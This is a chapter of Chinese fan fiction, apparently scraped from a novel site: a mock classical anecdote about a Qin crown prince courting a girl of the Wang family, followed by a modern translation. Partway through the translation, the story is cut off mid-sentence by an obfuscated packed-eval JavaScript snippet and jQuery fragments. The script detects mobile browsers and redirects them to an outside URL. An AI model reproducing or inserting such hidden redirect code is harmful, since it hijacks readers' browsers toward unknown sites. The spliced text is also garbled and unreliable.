24. 太子与妻青梅竹马

作品:《[假如二凤是始皇的太子同人]虚构史学家

    (每日虚构史学家)


    太子世民与王氏伉俪情笃,总角相交。尝持兰诣王府,邂逅相悦,归咸阳宫谓秦王曰:"岂必手植梧桐树,吾愿为伊种兰一世耳!"


    秦王戏之曰:"汝与王氏女,得非夙世姻缘耶?"太子从容对曰:"非也。父为龙,儿为凤,彼乃吾之凰后也。"


    左右皆异之。秦王色喜,欣然许其往来,诫曰:"初识淑女,当谨之慎之。待君子若水,处佳人如兰。毋失仪,毋妄言,恐贻轻佻之讥。"


    太子受教,出入王氏府邸有度,馈赠不奢,信使不喧,言不及政。


    王翦叹谓秦王:"太子殿吓体物入微,谦恭守礼,冲龄而具君子器宇,臣心甚慰。此大王之德泽,亦大秦之福祚也。"秦王大悦,赐华阳太后之兰玉予王氏,与太子成双佩之。


    ——《秦宫旧事》


    翻译:


    太子世民与妻子王氏感情十分深厚,自幼青梅竹马。太子曾经到王府上送兰花,与王氏相遇并一见如故,回到咸阳宫后对秦王说:“别说亲手栽下一棵梧桐树,我愿意给她种一辈子的兰花啊!”


    秦王于是笑着打趣他,说道:“你与王家女儿难道是上辈子结下的姻亲吗?”太子从容回答:“不是呀,阿父是龙,而我是凤,她就是我的凰后呀!”


    左右侍从听


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401141|168689||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了都很惊奇,秦王面有喜色,欣然同意了他们来往,并交代道:“你与她到底是第一次见面,需要慎重一些,对待君子应淡然,对待淑女应克制,不要礼数不周到,言辞有失,让人家误会你轻浮。”


    太子受教,于是出入王翦府邸的次数不多不少,送去的礼品不铺张奢华,捎信的侍者不敢高声,交谈的话题不涉及国事。


    王翦对秦王感慨道:“太子殿吓体贴入微,谦逊有礼,小小年纪便有君子之风,臣倍感欣慰,这是大王您的功劳,更是大秦的福报啊!”秦王大悦,赐下华阳太后兰花玉佩给王氏,与太子成双。


    (???这锁我两次为啥啊?)